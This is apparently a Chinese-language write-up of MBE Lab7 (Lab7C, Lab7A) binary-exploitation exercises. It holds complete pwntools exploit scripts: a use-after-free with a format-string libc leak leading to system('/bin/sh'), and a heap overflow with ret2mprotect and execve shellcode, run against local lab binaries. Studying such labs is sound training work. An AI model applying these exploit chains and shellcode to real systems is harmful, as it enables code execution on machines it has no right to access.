0x00 背景

此篇write up对应于MBE的Lab7,针对的堆溢出的利用,但是关于堆上元数据的利用没有讲到和练习到,而且还需要查看相关的文章才能了解的更细致,这个放到以后需要时再补习吧。编译环境依旧是提着灯笼找舅舅-m32。

0x01 Lab7

Lab7C

此题从menu提示中即可看出是Use After Free的利用,ppt中也提到过利用的关键是覆盖掉free后的结构对象,源码中data和number这两个结构体大小相同,其中都还有保存函数指针,很适合作为我们UAF的利用对象。

稍微阅读代码可以看出,在删除数字和字符串的过程中,只是调用了free函数,而并没有将保存结构体指针的数组对应清空,结构体内容也没有重置,所以free掉结构体后仍旧可以use其中的函数指针。例如,我在生成和删除一个数字后,再生成一个字符串,data结构体的内容就会和原来number的内容重叠,当我查看数字时即可泄露出data中保存的函数指针,即small_str或big_str的函数地址。

但此程序PIE编译默认开了ASLR,虽然通过small_str的地址可以推出代码段的地址,但是如何才能走向system的调用呢。百思不得其解后,上网查看了他人的解题方法居然是利用small_str和system函数间的固定偏移,感觉和实践尝试后并不可靠。但也有个猥琐的想法,看看在small_str周围的栈环境是否为libc相关的函数地址:

有的话就好办了,覆盖函数指针为printf@plt的地址:

借助字符串格式化漏洞的思路,泄露出该地址,计算相对偏移就可以得到system的地址了:

利用代码如下:

from pwn import *

context.log_level = 'debug'
p = process('./lab7C')
# make number
p.sendlineafter('Choice: ', '2')
p.sendline('1')
# delete number
p.sendlineafter('Choice: ', '4')
# make string
p.sendlineafter('Choice: ', '1')
# __libc_start_main+243
p.sendline('%35$p\n')
# UAF number 
p.sendlineafter('Choice: ', '6')
p.sendlineafter('print: ', '1')
small_str_addr = int(p.recvline(keepends=False).split(' ')[-1])
small_str_offset = 0x997
print_plt_offset = 0x650
print_plt_addr = small_str_addr-(small_str_offset-print_plt_offset)
# delete string
p.sendlineafter('Choice: ', '3')
# make number
p.sendlineafter('Choice: ', '2')
p.sendline(str(print_plt_addr))
# UAF string
p.sendlineafter('Choice: ', '5')
p.sendlineafter('print: ', '1')
start_main_addr = int(p.recvline(keepends=False), 16)-243
start_main_offset = 0x199e0
system_offset = 0x3fe70
system_addr = start_main_addr-(start_main_offset-system_offset)
# delete number
p.sendlineafter('Choice: ', '4')
# make string
p.sendlineafter('Choice: ', '1')
p.sendline('/bin/sh\x00')
# delete string
p.sendlineafter('Choice: ', '3')
# make number
p.sendlineafter('Choice: ', '2')
p.sendline(str(system_addr))
# UAF string
p.sendlineafter('Choice: ', '5')
p.sendlineafter('print: ', '1')
p.interactive()

覆盖函数指针多次利用UAF即可,因为在data结构体中可存放buffer,所以ret2libc就好:

Lab7A

此题静态编译加上栈保护,很明显还是要覆盖msg结构体中的函数指针。阅读源码后不难发现问题出在create_message中,因为C语言的整数除法会直接舍弃小数部分,所以就可能导致msg_len过大,当调用edit_message函数根据msg_len来更改message的时候,就会覆盖下个msg中的函数指针,造成堆溢出。

ppt中没有细讲堆上元数据的exploit利用,漏洞利用点就还是在函数指针上。但只覆盖了一个函数指针好像并没有什么用,再看代码后发现在print_index函数中用一个32字节的字符数组来接收一个index显得阴阳怪气,可以配合numbuf数组利用。

因为有栈保护,所以在溢出栈并进行ROP的可能性是比较小的。了解过一番CTF的套路后,还是可以通过mprotect函数,把堆上的数据添加执行权限,堆上的结构体也是我们可以控制填充shellcode的,这样函数指针转过去就达到代码执行的效果了。静态编译的文件中mprotect的函数还是有的:

根据mprotect的参数,我们需要知道的是全局messages数组中保存的结构体的地址,要泄露地址首先想到的是覆盖函数指针为printf函数,然后利用格式化漏洞,向下可以读取numbuf中的内容,numbuf是可控的,里面填入messages的地址加上%s就可以泄露出堆上message的地址了。 有了该地址,我们再次布局numbuf为ret2mprotect,将函数指针覆盖为add esp, 0x24; mov e ax, edx; pop ebx; pop esi; ret刚好跳过去拉满32字节的numbuf。最后覆盖函数指针为堆上shellcode的地址就解决了,代码如下:

from pwn import *

context.log_level = 'debug'
p = process('./lab7A')
# make message 0
p.sendlineafter('Choice: ', '1')
p.sendlineafter('length: ', '131')
p.sendafter('encrypt: ', 'A'*131)
# make message 1
p.sendlineafter('Choice: ', '1')
p.sendlineafter('length: ', '128')
p.sendafter('encrypt: ', 'A'*128)
# edit message 0 to printf
p.sendlineafter('Choice: ', '2')
p.sendlineafter('edit: ', '0')
message_padding = 'A'*(4*32+4+8)
printf_addr = p32(0x08050180)
shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'
format_arg = 'xixi%8$s'
p.sendafter('encrypt: ', message_padding+printf_addr+shellcode+format_arg)
# get message 1 addr
p.sendlineafter('Choice: ', '4')
print_index = '1\x00\x00\x00'
messages1_addr = p32(0x080edf60+4)
p.sendlineafter('print: ', print_index+messages1_addr)
message1_addr = u32(p.recvregex('xixi.{4}')[-4:])
# edit message 0 to ret 0x24
p.sendlineafter('Choice: ', '2')
p.sendlineafter('edit: ', '0')
message_padding = 'A'*(4*32+4+8)
pr_addr = p32(0x080b1ba2)
p.sendafter('encrypt: ', message_padding+pr_addr)
# ret2mprotect
# gdb.attach(p)
p.sendlineafter('Choice: ', '4')
print_index = '1\x00\x00\x00' + '\x00'*8
mprotect_addr = p32(0x0806f140)
origin_addr = p32(0x8049501)
mprotect_arg1 = p32((message1_addr/4096)*4096)
mprotect_arg2 = p32(4096)
mprotect_arg3 = p32(7)
p.sendlineafter('print: ', print_index+mprotect_addr+origin_addr+mprotect_arg1+mprotect_arg2+mprotect_arg3)
# edit message to ret2mprotect
p.sendlineafter('Choice: ', '2')
p.sendlineafter('edit: ', '0')
message_padding = 'A'*(4*32+4+8)
p.sendafter('encrypt: ', message_padding+p32(message1_addr+4))
# system
p.sendlineafter('Choice: ', '4')
#gdb.attach(p)
p.sendlineafter('print: ', '1')
p.interactive()

通过调试,有两个小细节要注意一下:

  1. 在使用mprotect函数时起始地址要和page boundary 4k对齐才可以。
  2. 一开始找的是ret 0x24企图ret2mprotect,不过这和add esp xxx; ret的效果刚好是相反的。

最终的exploit效果如下:

0x02 总结

就像ppt中说的,在绕过ASLR的过程中也需要注意周围的栈环境,也许有个__libc_strat_main函数的地址就能一叶知秋了;在Lab7A的过程中,以为只能覆盖函数指针不能干些什么,还是没有注意到当前栈上的环境,add esp也是能够继续ret2everywhere的,时刻具有创造性才能解决问题。MBE的问题虽然解决了一大半,但还是有些同学领先于我,MBE-Solutions上面的代码规范很赏心悦目,devel0pment.de上的解题过程比我还细致,都很值得参考。